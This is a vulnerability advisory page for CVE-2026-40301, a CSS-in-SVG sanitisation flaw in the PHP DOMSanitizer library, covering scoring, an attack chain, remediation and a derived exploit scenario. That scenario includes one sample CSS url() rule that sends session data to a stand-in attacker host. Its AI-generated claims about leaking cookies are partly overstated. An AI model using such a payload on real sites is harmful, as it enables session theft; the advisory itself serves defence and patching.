Skip to main content

PHP CVE-2026-40301

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-17 GitHub_M
4.7
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker crafts SVG with malicious CSS
  2. Delivery
    Attacker uploads SVG to application accepting user content
  3. Exploit
    Application sanitizes SVG with vulnerable DOMSanitizer
  4. Install
    Sanitized SVG returned to victim's browser
  5. C2
    Browser renders SVG and processes <style> element
  6. Execute
    Browser fetches attacker's URL via CSS url()
  7. Impact
    Attacker receives request with victim's session metadata

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The vulnerability requires that (1) an attacker can supply or influence SVG content that is sanitized by a vulnerable version of DOMSanitizer, and (2) the sanitized SVG is rendered in a web browser (or any user agent that processes CSS). No special library configuration is required - the default behavior of DOMSanitizer::sanitize() permits <style> elements without inspection. Authentication is not required from the attacker's perspective; any unauthenticated user who can upload or inject SVG content can exploit this. However, the victim must have an active session or credentials that the attacker wishes to leak, and the victim's browser must render the SVG (which is the normal behavior for SVG display in HTML or as standalone files). The vulnerability does NOT affect applications that: (a) disable SVG rendering entirely, (b) re-sanitize SVG content after upgrading to version 1.0.10, (c) serve SVG content with Content-Security-Policy headers that restrict image-src or script-src, or (d) strip <style> elements from SVG before sanitization. Exploitation is NOT limited to any specific PHP version or operating system - the vulnerability exists wherever the vulnerable library is used.

Impact

The CVSS score of 4.7 (Low-to-Medium severity) reflects the requirements for user interaction and limited direct confidentiality impact, but this underrepresents the real-world risk in several scenarios. Exploitation is guaranteed if SVG content is user-supplied and rendered; the AC:L and UI:R indicate the attack is straightforward once an attacker-controlled SVG reaches a victim's browser. The scope change (S:C) signals the vulnerability affects not just the vulnerable application but also other users or resources accessed by the victim's browser session. However, several mitigating factors reduce practical exploitation likelihood: (1) an attacker must control SVG input or influence its delivery, (2) the SVG must be rendered in a context where the browser processes CSS (some HTML renderers or email clients may disable CSS in images), and (3) the attacker can only observe side-channel signals (request metadata), not exfiltrate arbitrary data. The vulnerability is not actively exploited at scale (no CISA KEV listing or public POC identified), but the fix is available and straightforward, reducing deployment lag. For applications accepting user-supplied SVG (e.g., design tools, content management systems, image upload features), this is a HIGH priority despite the Low-Medium CVSS, because SVG rendering is difficult to disable without breaking legitimate functionality. For applications only sanitizing internal or fully-trusted SVG, risk is LOW.

Exploit ScenarioDerived

An attacker uploads a malicious SVG file to a content management system or design platform using DOMSanitizer to sanitize it. The SVG contains a <style> element with a CSS rule like image { background-image: url('https://attacker.example.com/log?userid=123&session=abc'); }. When a victim views the sanitized SVG in their browser, the browser fetches the attacker's URL, leaking the victim's session token in the request headers (via Referer or Cookie). The attacker can then harvest session tokens across multiple users, or trigger requests to internal APIs to perform CSRF actions on behalf of authenticated users.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 17, 2026

DOMSanitizer before version 1.0.10 fails to sanitize CSS content within SVG <style> elements, allowing attackers to inject url() references and @import rules that trigger unauthorized HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered in a browser. This affects PHP applications using the vulnerable library to sanitize user-supplied SVG content, enabling information disclosure through request metadata and potential CSRF attacks. The vulnerability requires user interaction (rendering the SVG) but affects all downstream users of the sanitized content due to scope change (C:L, S:C).

RemediationAI

Upgrade DOMSanitizer to version 1.0.10 or later immediately. Update the Composer dependency with composer update rhukster/dom-sanitizer to pull the patched version. The fix inspects and sanitizes CSS content within SVG <style> elements, filtering url() and @import rules. If immediate upgrade is infeasible, implement a temporary compensating control: strip all <style> elements from SVG content before passing to DOMSanitizer (trade-off: legitimate SVG styling will be lost), or disable rendering of user-supplied SVG entirely pending patching. For applications that must accept user SVG and preserve styling, validate CSS rules against a strict allowlist before rendering (e.g., forbid url() and @import, allow only primitive properties like fill, stroke, opacity). Monitor composer.lock for DOMSanitizer version and enable automated dependency updates or security alerts via GitHub Dependabot.

Affected Packages

composer rhukster/dom-sanitizer fix: 1.0.10

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

DOMSanitizer is a PHP library designed to sanitize DOM, SVG, and MathML content by removing potentially dangerous elements and attributes. The vulnerability exists in the sanitization logic for SVG <style> elements, which the library permits but does not inspect for CSS rules that can trigger network requests. CSS url() functions in properties like background-image, and @import rules within <style> blocks, are processed by browsers as absolute resource references regardless of origin. When a browser renders the sanitized SVG, it automatically fetches these resources, causing side-channel information leakage (via HTTP request parameters, referer headers, cookies) and enabling CSRF attacks against authenticated sessions. The root cause is inadequate input validation (CWE-79: Improper Neutralization of Input During Web Page Generation, also known as Cross-site Scripting). The library's allowlist approach for SVG elements included <style> but lacked corresponding inspection of its text content.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 4.7 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

Primary rating from Vendor (GitHub_M) · only source for this CVE.

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

Lifecycle Timeline

2
Patch released
Apr 18, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 17, 2026 - 20:51 nvd
MEDIUM 4.7

DescriptionCVE.org

DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

cpe:2.3:a:rhukster:dom-sanitizer:*:*:*:*:*:*:*:*

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy